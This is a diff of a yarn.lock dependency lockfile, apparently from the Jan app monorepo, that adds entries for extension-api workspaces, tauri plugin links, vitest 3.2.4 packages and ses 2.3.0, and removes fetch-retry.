resolution: "@janhq/sample-hello-provider@workspace:extensions-samples/hello-provider"+ dependencies:+ "@janhq/extension-api": "workspace:*"+ "@janhq/extension-runtime": "workspace:*"+ "@types/node": "npm:^22.10.0"+ rolldown: "npm:1.0.0-beta.1"+ typescript: "npm:5.9.2"+ vitest: "npm:3.2.4"+ languageName: unknown+ linkType: soft+"@janhq/tauri-plugin-agent-tools-api@link:../src-tauri/plugins/tauri-plugin-agent-tools::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app":version: 0.0.0-use.localresolution: "@janhq/tauri-plugin-agent-tools-api@link:../src-tauri/plugins/tauri-plugin-agent-tools::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app"languageName: nodelinkType: soft+"@janhq/tauri-plugin-extensions-api@link:../src-tauri/plugins/tauri-plugin-extensions::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app":+ version: 0.0.0-use.local+ resolution: "@janhq/tauri-plugin-extensions-api@link:../src-tauri/plugins/tauri-plugin-extensions::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app"+ languageName: node+ linkType: soft+"@janhq/tauri-plugin-hardware-api@link:../../src-tauri/plugins/tauri-plugin-hardware::locator=%40janhq%2Fllamacpp-extension%40workspace%3Aextensions%2Fllamacpp-extension":version: 0.0.0-use.localresolution: "@janhq/tauri-plugin-hardware-api@link:../../src-tauri/plugins/tauri-plugin-hardware::locator=%40janhq%2Fllamacpp-extension%40workspace%3Aextensions%2Fllamacpp-extension"languageName: nodelinkType: soft+"@janhq/tauri-plugin-hardware-api@link:../src-tauri/plugins/tauri-plugin-hardware::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app":+ version: 0.0.0-use.local+ resolution: "@janhq/tauri-plugin-hardware-api@link:../src-tauri/plugins/tauri-plugin-hardware::locator=%40janhq%2Fweb-app%40workspace%3Aweb-app"+ languageName: node+ linkType: soft+"@janhq/tauri-plugin-llamacpp-api@link:../../src-tauri/plugins/tauri-plugin-llamacpp::locator=%40janhq%2Fllamacpp-extension%40workspace%3Aextensions%2Fllamacpp-extension":version: 0.0.0-use.localresolution: "@janhq/tauri-plugin-llamacpp-api@link:../../src-tauri/plugins/tauri-plugin-llamacpp::locator=%40janhq%2Fllamacpp-extension%40workspace%3Aextensions%2Fllamacpp-extension"@@ -1882,8 +1934,12 @@ __metadata:"@dnd-kit/sortable": "npm:10.0.0""@eslint/js": "npm:8.57.0""@janhq/core": "workspace:*"+ "@janhq/extension-api": "workspace:*"+ "@janhq/extension-runtime": "workspace:*""@janhq/interfaces": "npm:0.0.2""@janhq/tauri-plugin-agent-tools-api": "link:../src-tauri/plugins/tauri-plugin-agent-tools"+ "@janhq/tauri-plugin-extensions-api": "link:../src-tauri/plugins/tauri-plugin-extensions"+ "@janhq/tauri-plugin-hardware-api": "link:../src-tauri/plugins/tauri-plugin-hardware""@janhq/tauri-plugin-llamacpp-api": "link:../src-tauri/plugins/tauri-plugin-llamacpp""@janhq/tauri-plugin-websearch-api": "link:../src-tauri/plugins/tauri-plugin-websearch""@radix-ui/react-accordion": "npm:1.2.11"@@ -5743,6 +5799,19 @@ __metadata:languageName: nodelinkType: hard+"@vitest/expect@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/expect@npm:3.2.4"+ dependencies:+ "@types/chai": "npm:^5.2.2"+ "@vitest/spy": "npm:3.2.4"+ "@vitest/utils": "npm:3.2.4"+ chai: "npm:^5.2.0"+ tinyrainbow: "npm:^2.0.0"+ checksum: 10c0/7586104e3fd31dbe1e6ecaafb9a70131e4197dce2940f727b6a84131eee3decac7b10f9c7c72fa5edbdb68b6f854353bd4c0fa84779e274207fb7379563b10db+ languageName: node+ linkType: hard+"@vitest/expect@npm:3.2.7":version: 3.2.7resolution: "@vitest/expect@npm:3.2.7"@@ -5756,6 +5825,25 @@ __metadata:languageName: nodelinkType: hard+"@vitest/mocker@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/mocker@npm:3.2.4"+ dependencies:+ "@vitest/spy": "npm:3.2.4"+ estree-walker: "npm:^3.0.3"+ magic-string: "npm:^0.30.17"+ peerDependencies:+ msw: ^2.4.9+ vite: ^5.0.0 || ^6.0.0 || ^7.0.0-0+ peerDependenciesMeta:+ msw:+ optional: true+ vite:+ optional: true+ checksum: 10c0/f7a4aea19bbbf8f15905847ee9143b6298b2c110f8b64789224cb0ffdc2e96f9802876aa2ca83f1ec1b6e1ff45e822abb34f0054c24d57b29ab18add06536ccd+ languageName: node+ linkType: hard+"@vitest/mocker@npm:3.2.7":version: 3.2.7resolution: "@vitest/mocker@npm:3.2.7"@@ -5775,7 +5863,16 @@ __metadata:languageName: nodelinkType: hard-"@vitest/pretty-format@npm:3.2.7, @vitest/pretty-format@npm:^3.2.7":+"@vitest/pretty-format@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/pretty-format@npm:3.2.4"+ dependencies:+ tinyrainbow: "npm:^2.0.0"+ checksum: 10c0/5ad7d4278e067390d7d633e307fee8103958806a419ca380aec0e33fae71b44a64415f7a9b4bc11635d3c13d4a9186111c581d3cef9c65cc317e68f077456887+ languageName: node+ linkType: hard++"@vitest/pretty-format@npm:3.2.7, @vitest/pretty-format@npm:^3.2.4, @vitest/pretty-format@npm:^3.2.7":version: 3.2.7resolution: "@vitest/pretty-format@npm:3.2.7"dependencies:@@ -5784,6 +5881,17 @@ __metadata:languageName: nodelinkType: hard+"@vitest/runner@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/runner@npm:3.2.4"+ dependencies:+ "@vitest/utils": "npm:3.2.4"+ pathe: "npm:^2.0.3"+ strip-literal: "npm:^3.0.0"+ checksum: 10c0/e8be51666c72b3668ae3ea348b0196656a4a5adb836cb5e270720885d9517421815b0d6c98bfdf1795ed02b994b7bfb2b21566ee356a40021f5bf4f6ed4e418a+ languageName: node+ linkType: hard+"@vitest/runner@npm:3.2.7":version: 3.2.7resolution: "@vitest/runner@npm:3.2.7"@@ -5795,6 +5903,17 @@ __metadata:languageName: nodelinkType: hard+"@vitest/snapshot@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/snapshot@npm:3.2.4"+ dependencies:+ "@vitest/pretty-format": "npm:3.2.4"+ magic-string: "npm:^0.30.17"+ pathe: "npm:^2.0.3"+ checksum: 10c0/f8301a3d7d1559fd3d59ed51176dd52e1ed5c2d23aa6d8d6aa18787ef46e295056bc726a021698d8454c16ed825ecba163362f42fa90258bb4a98cfd2c9424fc+ languageName: node+ linkType: hard+"@vitest/snapshot@npm:3.2.7":version: 3.2.7resolution: "@vitest/snapshot@npm:3.2.7"@@ -5806,6 +5925,15 @@ __metadata:languageName: nodelinkType: hard+"@vitest/spy@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/spy@npm:3.2.4"+ dependencies:+ tinyspy: "npm:^4.0.3"+ checksum: 10c0/6ebf0b4697dc238476d6b6a60c76ba9eb1dd8167a307e30f08f64149612fd50227682b876420e4c2e09a76334e73f72e3ebf0e350714dc22474258292e202024+ languageName: node+ linkType: hard+"@vitest/spy@npm:3.2.7":version: 3.2.7resolution: "@vitest/spy@npm:3.2.7"@@ -5832,6 +5960,17 @@ __metadata:languageName: nodelinkType: hard+"@vitest/utils@npm:3.2.4":+ version: 3.2.4+ resolution: "@vitest/utils@npm:3.2.4"+ dependencies:+ "@vitest/pretty-format": "npm:3.2.4"+ loupe: "npm:^3.1.4"+ tinyrainbow: "npm:^2.0.0"+ checksum: 10c0/024a9b8c8bcc12cf40183c246c244b52ecff861c6deb3477cbf487ac8781ad44c68a9c5fd69f8c1361878e55b97c10d99d511f2597f1f7244b5e5101d028ba64+ languageName: node+ linkType: hard+"@vitest/utils@npm:3.2.7":version: 3.2.7resolution: "@vitest/utils@npm:3.2.7"@@ -8736,13 +8875,6 @@ __metadata:languageName: nodelinkType: hard-"fetch-retry@npm:^5.0.6":- version: 5.0.6- resolution: "fetch-retry@npm:5.0.6"- checksum: 10c0/349f50db631039630e915f70c763469cb696f3ac92ca6f63823109334a2bc62f63670b8c5a5c7e0195c39df517e60ef385cc5264f4c4904d0c6707d371fa8999- languageName: node- linkType: hard-"fflate@npm:^0.4.8":version: 0.4.9resolution: "fflate@npm:0.4.9"@@ -14099,6 +14231,17 @@ __metadata:languageName: nodelinkType: hard+"ses@npm:^2.3.0":+ version: 2.3.0+ resolution: "ses@npm:2.3.0"+ dependencies:+ "@endo/cache-map": "npm:^1.1.0"+ "@endo/env-options": "npm:^1.1.11"+ "@endo/immutable-arraybuffer": "npm:^2.0.0"+ checksum: 10c0/0d6b49cfc19128607c84e0ff528e2f37fddec63bcd651698c1a05f79c1fb4317d8d1806d9754a95f24f2cb23a7fd30216c198d9454453c0fbed25575a006b0df+ languageName: node+ linkType: hard+"set-function-length@npm:^1.2.2":version: 1.2.2resolution: "set-function-length@npm:1.2.2"@@ -15773,6 +15916,62 @@ __metadata:languageName: nodelinkType: hard+"vitest@npm:3.2.4":+ version: 3.2.4+ resolution: "vitest@npm:3.2.4"+ dependencies:+ "@types/chai": "npm:^5.2.2"+ "@vitest/expect": "npm:3.2.4"+ "@vitest/mocker": "npm:3.2.4"+ "@vitest/pretty-format": "npm:^3.2.4"+ "@vitest/runner": "npm:3.2.4"+ "@vitest/snapshot": "npm:3.2.4"+ "@vitest/spy": "npm:3.2.4"+ "@vitest/utils": "npm:3.2.4"+ chai: "npm:^5.2.0"+ debug: "npm:^4.4.1"+ expect-type: "npm:^1.2.1"+ magic-string: "npm:^0.30.17"+ pathe: "npm:^2.0.3"+ picomatch: "npm:^4.0.2"+ std-env: "npm:^3.9.0"+ tinybench: "npm:^2.9.0"+ tinyexec: "npm:^0.3.2"+ tinyglobby: "npm:^0.2.14"+ tinypool: "npm:^1.1.1"+ tinyrainbow: "npm:^2.0.0"+ vite: "npm:^5.0.0 || ^6.0.0 || ^7.0.0-0"+ vite-node: "npm:3.2.4"+ why-is-node-running: "npm:^2.3.0"+ peerDependencies:+ "@edge-runtime/vm": "*"+ "@types/debug": ^4.1.12+ "@types/node": ^18.0.0 || ^20.0.0 || >=22.0.0+ "@vitest/browser": 3.2.4+ "@vitest/ui": 3.2.4+ happy-dom: "*"+ jsdom: "*"+ peerDependenciesMeta:+ "@edge-runtime/vm":+ optional: true+ "@types/debug":+ optional: true+ "@types/node":+ optional: true+ "@vitest/browser":+ optional: true+ "@vitest/ui":+ optional: true+ happy-dom:+ optional: true+ jsdom:+ optional: true+ bin:+ vitest: vitest.mjs+ checksum: 10c0/5bf53ede3ae6a0e08956d72dab279ae90503f6b5a05298a6a5e6ef47d2fd1ab386aaf48fafa61ed07a0ebfe9e371772f1ccbe5c258dd765206a8218bf2eb79eb+ languageName: node+ linkType: hard+"vitest@npm:3.2.7, vitest@npm:^3.2.7":version: 3.2.7resolution: "vitest@npm:3.2.7"